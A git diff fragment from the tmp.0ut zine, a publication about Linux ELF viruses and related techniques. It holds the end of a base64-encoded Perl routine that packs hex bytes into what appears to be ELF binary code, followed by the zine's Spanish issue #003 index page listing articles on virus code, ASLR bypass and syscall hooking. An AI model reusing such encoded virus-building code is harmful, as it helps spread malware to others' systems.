+MDAwODAwMDAwMDA4MDAwMDAwMDAwMDAwMDAxODAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMjAwMDAw
+MC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMzAwMTAwMDAwMDAwMDAwMDUwMDEwMDAwMDAwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFj
+ayBxL0gqLywgcS8wYjAwMDAwMDA5MDAwMDAwMDgwMDAwMDAwMDAwMDAwMDE4MDAwMDAwMDAwMDAw
+MDAwOTAwMDAwMDAzMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4MDAyMDAwMDAwMDAwMDAwM2EwMDAwMDAwMDAwMDAwMC87
+CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDExMDAwMDAwMDMwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBx
+L0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGIwMDMwMDAwMDAwMDAwMDA2
+MTAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAw
+MDAwMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLzsKCiAgICByZXR1cm4gJGNvZGU7
+Cn0=
+
+
diff --git a/3/es/index.html b/3/es/index.html new file mode 100644 index 0000000..89c4118 --- /dev/null +++ b/3/es/index.html @@ -0,0 +1,110 @@ + + +tmp.0ut + + + +
+┌────────────┌─────┐─────┐┌───────────┐┌───────────┐┌───┐───┐───┐────────────┐
+▐▐━━━━━━━━━━┏━━━━━┓━━━━━┓┏━━━━━━━━━━━┓┏━━━━━━━━━━━┓┏━━━┓   ┏━━━┓━━━━━━━━━━▌▌
+▐▐     ┃   ┃┃   ┃   ┃   ┃┃           ┃┃           ┃┃   ┃   ┃   ┃┃   ┃     ▌▌
+ ┗━━━━━━━┛   ┣┃   ┃   ┃   ┃┃   ┏━━━┓   ┃┃   ┏━━━┓   ┃┃   ┃   ┃   ┃┛   ┃━━━━━━━┛ 
+ ┏━━━━━━┓┃   ┃┃   ┃━━━┛   ┃┃   ┃━━━┛   ┃┃   ┗━━━┛   ┃┃   ┗━━━┛   ┃┃   ┃┏━━━━━━┓ 
+⣿⣿⣿⣿⣿┃   ┃┃   ┃   ┃   ┃┃   ┃       ┃┃           ┃┃           ┃┃   ┃⣿⣿⣿⣿⣿┐
+││ᵗ⁰│┗━━━┛┗━━━┛   ┗━━━┛┃   ┃━━━━━━━██━━━━━━━━━━━┛┗━━━━━━━━━━━┛┗━━━┛│ⁿˢ││
+┗━━━━━━┇━━━━━━━━━━━━━━━━━ ┃   ┃ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┇━━━━━━┛
+╭─││─── ┗━━━┛ #003 - 2023-11 ───││─╮
+└──┘└──┘┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛└──┘└──┘
+████████                                                                                 Intro ~ t0 │
+██ ▄▄ ██                                                         Second Part To Hell Interview ~ t0 │
+██ ▀▀ ██                                                     UNIX VIRUSES 25th Anniversary ~ silvio │
+████████                           Hijacking __cxa_finalize to achieve entry point obscuring ~ vrzh │
+ │                                            Linux.ElizaCanFix.asm ~ vrzh │
+████████                             Concealing Namespaces Within a File Descriptor ~ Fanda Uchytil │
+██ ▄▄ ██                                        Dumping libc memory space to bypass ASLR ~ jonaslyk │
+██ ▀▀ ██                                                              ARM32 ELF Sizecoding ~ deater │
+████████                                                  A Silver Bullet To ELF Projects ~ echel0n │
+ │                    in-memory-only fd-less ELF execution (with Perl) ~ isra │
+████████                                         isra_exec_elf64.pl ~ isra │
+ │ ▄▄▄██                                  u used 2 call me on my polymorphic shell phone ~ ic3qu33n │
+ │ ▀▀▀██                              Weird ELFs, or a tale of breaking parsers once again ~ g1inko │
+████████                 inspect0rGadget.asm - x64 ROP Gadget Finder ~ s01den │
+ │                                       Reverse Text Disinfector ~ qkumba │
+ │                                                                   RE of Linux.Nasty.asm ~ qkumba │
+ │                                                  Linux.Anansi.c ~ sad0p │
+ │                                                Linux.Slinger.asm ~ lvti │
+ │                                                                       LKM Golf ~ rqu & netspooky │
+ │                                         easylkb: Easy Linux Kernel Builder ~ ackmage & netspooky │
+ │                              23 Open Problems for Digital Self-Replicators ~ Second Part To Hell │
+ │                               Cramming a Tiny Program into a Tiny ELF File: A Case Study ~ lm978 │
+ │                       silent syscall hooking on arm64 linux by patching svc handler ~ wintermute │
+ │                             HVice - HyperVisor intrusion countermeasure electronics ~ wintermute │
+ │                                                            BGGP4 Recap ~ Binary Golf Association │
+ │                                                                  LLMorpher ~ Second Part To Hell │
+ │                                                                   QRLog Malware Analysis ~ mauro │
+ │                                                  HandJar.B ~ r3s1stanc3 │
+ │                                                   ClassWar ~ r3s1stanc3 │
+ │                                               Linux.Linkin.pl: Another Perl x64 ELF virus ~ isra │
+ ╰─────────────────────────────── tmpout.sh//3 ───────────────────────────────╯ 
+
+